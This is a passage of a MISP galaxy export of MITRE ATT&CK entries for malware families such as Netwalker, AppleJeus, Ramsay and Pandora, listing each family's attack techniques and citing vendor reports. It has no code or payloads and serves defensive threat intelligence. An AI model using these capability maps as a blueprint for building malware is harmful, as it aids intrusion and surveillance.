- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5657. Table References

Links
https://attack.mitre.org/software/S0547
https://www.bleepingcomputer.com/news/security/hacking-group-s-new-malware-abuses-google-and-facebook-services/
https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf

Netwalker - S0457

[Netwalker](https://attack.mitre.org/software/S0457) is fileless ransomware written in PowerShell and executed directly in memory.(Citation: TrendMicro Netwalker May 2020)

The tag is: *misp-galaxy:mitre-malware="Netwalker - S0457"*

Netwalker - S0457 is also known as:

- Netwalker

View relationships graph

Netwalker - S0457 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Stop - T1489" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 5658. Table References

Links

https://attack.mitre.org/software/S0457
https://blog.trendmicro.com/trendlabs-security-intelligence/netwalker-fileless-ransomware-injected-via-reflective-loading/

AppleJeus - S0584

[AppleJeus](https://attack.mitre.org/software/S0584) is a family of downloaders initially discovered in 2018 embedded within trojanized cryptocurrency applications. [AppleJeus](https://attack.mitre.org/software/S0584) has been used by [Lazarus Group](https://attack.mitre.org/groups/G0032), targeting companies in the energy, finance, government, industry, technology, and telecommunications sectors, and several countries including the United States, United Kingdom, South Korea, Australia, Brazil, New Zealand, and Russia. [AppleJeus](https://attack.mitre.org/software/S0584) has been used to distribute the [FALLCHILL](https://attack.mitre.org/software/S0181) RAT.(Citation: CISA AppleJeus Feb 2021)

The tag is: *misp-galaxy:mitre-malware="AppleJeus - S0584"*

AppleJeus - S0584 is also known as:

- AppleJeus

View relationships graph

AppleJeus - S0584 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Launch Daemon - T1543.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Launchctl - T1569.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 5659. Table References

Links
https://attack.mitre.org/software/S0584
https://us-cert.cisa.gov/ncas/alerts/aa21-048a

Mandrake - S0485

[Mandrake](https://attack.mitre.org/software/S0485) is a sophisticated Android espionage platform that has been active in the wild since at least 2016. [Mandrake](https://attack.mitre.org/software/S0485) is very actively maintained, with sophisticated features and attacks that are executed with surgical precision.

[Mandrake](https://attack.mitre.org/software/S0485) has gone undetected for several years by providing legitimate, ad-free applications with social media and real reviews to back the apps. The malware is only activated when the operators issue a specific command.(Citation: Bitdefender Mandrake)

The tag is: *misp-galaxy:mitre-malware="Mandrake - S0485"*

Mandrake - S0485 is also known as:

- Mandrake
- oxide
- briar

- ricinus
- darkmatter

View relationships graph

Mandrake - S0485 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Application Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote File Copy - T1544" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Commonly Used Port - T1436" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Notifications - T1517" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Prompt - T1411" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms - T1520" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Foreground Persistence - T1541" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1513" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Evade Analysis Environment - T1523" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Device Administrator Permissions - T1401" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1509" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1481" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Install Insecure or Malicious Configuration - T1478" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Input Injection - T1516" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Authorized App Store - T1475" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Suppress Application Icon - T1508" with estimative-language:likelihood-probability="almost-certain"

Table 5660. Table References

Links
https://attack.mitre.org/software/S0485
https://www.bitdefender.com/files/News/CaseStudies/study/329/Bitdefender-PR-Whitepaper-Mandrake-creat4464-en-EN-interactive.pdf

Ramsay - S0458

[Ramsay](https://attack.mitre.org/software/S0458) is an information stealing malware framework designed to collect and exfiltrate sensitive documents, including from air-gapped systems. Researchers have identified overlaps between [Ramsay](https://attack.mitre.org/software/S0458) and the [Darkhotel](https://attack.mitre.org/groups/G0012)-associated Retro malware.(Citation: Eset Ramsay May 2020)(Citation: Antiy CERT Ramsay April 2020)

The tag is: *misp-galaxy:mitre-malware="Ramsay - S0458"*

Ramsay - S0458 is also known as:

- Ramsay

View relationships graph

Ramsay - S0458 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rootkit - T1014" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive via Custom Method - T1560.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Network Shared Drive - T1039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="AppInit DLLs - T1546.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"

Table 5661. Table References

Links
https://attack.mitre.org/software/S0458

https://www.programmersought.com/article/62493896999/
https://www.welivesecurity.com/2020/05/13/ramsay-cyberespionage-toolkit-airgapped-networks/

RDAT - S0495

[RDAT](https://attack.mitre.org/software/S0495) is a backdoor used by the suspected Iranian threat group [OilRig](https://attack.mitre.org/groups/G0049). [RDAT](https://attack.mitre.org/software/S0495) was originally identified in 2017 and targeted companies in the telecommunications sector.(Citation: Unit42 RDAT July 2020)

The tag is: *misp-galaxy:mitre-malware="RDAT - S0495"*

RDAT - S0495 is also known as:

- RDAT
- RDAT

View relationships graph

RDAT - S0495 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Encoding - T1132.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Steganography - T1001.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

Table 5662. Table References

Links
https://attack.mitre.org/software/S0495
https://unit42.paloaltonetworks.com/oilrig-novel-c2-channel-steganography/

SilkBean - S0549

[SilkBean](https://attack.mitre.org/software/S0549) is a piece of Android surveillanceware containing comprehensive remote access tool (RAT) functionality that has been used in targeting of the Uyghur ethnic group.(Citation: Lookout Uyghur Campaign)

The tag is: *misp-galaxy:mitre-malware="SilkBean - S0549"*

SilkBean - S0549 is also known as:

- SilkBean

View relationships graph

SilkBean - S0549 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Access Contact List - T1432" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Application Layer Protocol - T1437" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Download New Code at Runtime - T1407" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Access Call Log - T1433" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Delete Device Data - T1447" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMS Control - T1582" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Install Insecure or Malicious Configuration - T1478" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1420" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture Camera - T1512" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Capture SMS Messages - T1412" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Cryptographic Protocol - T1521" with estimative-language:likelihood-probability="almost-certain"

Table 5663. Table References

Links
https://attack.mitre.org/software/S0549
https://www.lookout.com/documents/threat-reports/us/lookout-uyghur-malware-tr-us.pdf

MechaFlounder - S0459

[MechaFlounder](https://attack.mitre.org/software/S0459) is a python-based remote access tool (RAT) that has been used by [APT39](https://attack.mitre.org/groups/G0087). The payload uses a combination of actor developed code and code snippets freely available online in development communities.(Citation: Unit 42 MechaFlounder March 2019)

The tag is: *misp-galaxy:mitre-malware="MechaFlounder - S0459"*

MechaFlounder - S0459 is also known as:

- MechaFlounder

View relationships graph

MechaFlounder - S0459 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 5664. Table References

Links
https://attack.mitre.org/software/S0459
https://unit42.paloaltonetworks.com/new-python-based-payload-mechaflounder-used-by-chafer/

SpicyOmelette - S0646

[SpicyOmelette](https://attack.mitre.org/software/S0646) is a JavaScript based remote access tool that has been used by [Cobalt Group](https://attack.mitre.org/groups/G0080) since at least 2018.(Citation: Secureworks GOLD KINGSWOOD September 2018)

The tag is: *misp-galaxy:mitre-malware="SpicyOmelette - S0646"*

SpicyOmelette - S0646 is also known as:

- SpicyOmelette

View relationships graph

SpicyOmelette - S0646 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"

Table 5665. Table References

Links
https://attack.mitre.org/software/S0646
https://www.secureworks.com/blog/cybercriminals-increasingly-trying-to-ensnare-the-big-financial-fish

Pandora - S0664

[Pandora](https://attack.mitre.org/software/S0664) is a multistage kernel rootkit with backdoor functionality that has been in use by [Threat Group-3390](https://attack.mitre.org/groups/G0027) since at least 2020.(Citation: Trend Micro Iron Tiger April 2021)

The tag is: *misp-galaxy:mitre-malware="Pandora - S0664"*

Pandora - S0664 is also known as:

- Pandora

View relationships graph

Pandora - S0664 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Traffic Signaling - T1205" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing Policy Modification - T1553.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 5666. Table References

Links
https://attack.mitre.org/software/S0664
https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html

WindTail - S0466

[WindTail](https://attack.mitre.org/software/S0466) is a macOS surveillance implant used by [Windshift](https://attack.mitre.org/groups/G0112). [WindTail](https://attack.mitre.org/software/S0466) shares code similarities with Hack Back aka KitM OSX.(Citation: SANS Windshift August 2018)(Citation: objective-see windtail1 dec 2018)(Citation: objective-see windtail2 jan 2019)

The tag is: *misp-galaxy:mitre-malware="WindTail - S0466"*

WindTail - S0466 is also known as:

- WindTail

View relationships graph

WindTail - S0466 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Automated Collection - T1119" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Invalid Code Signature - T1036.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"

Table 5667. Table References

Links
https://attack.mitre.org/software/S0466
https://objective-see.com/blog/blog_0x3B.html
https://objective-see.com/blog/blog_0x3D.html
https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1554718868.pdf

CharmPower - S0674

[CharmPower](https://attack.mitre.org/software/S0674) is a PowerShell-based, modular backdoor that has been used by [Magic Hound](https://attack.mitre.org/groups/G0059) since at least 2022.(Citation: Check Point APT35 CharmPower January 2022)

The tag is: *misp-galaxy:mitre-malware="CharmPower - S0674"*

CharmPower - S0674 is also known as:

- CharmPower

View relationships graph

CharmPower - S0674 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
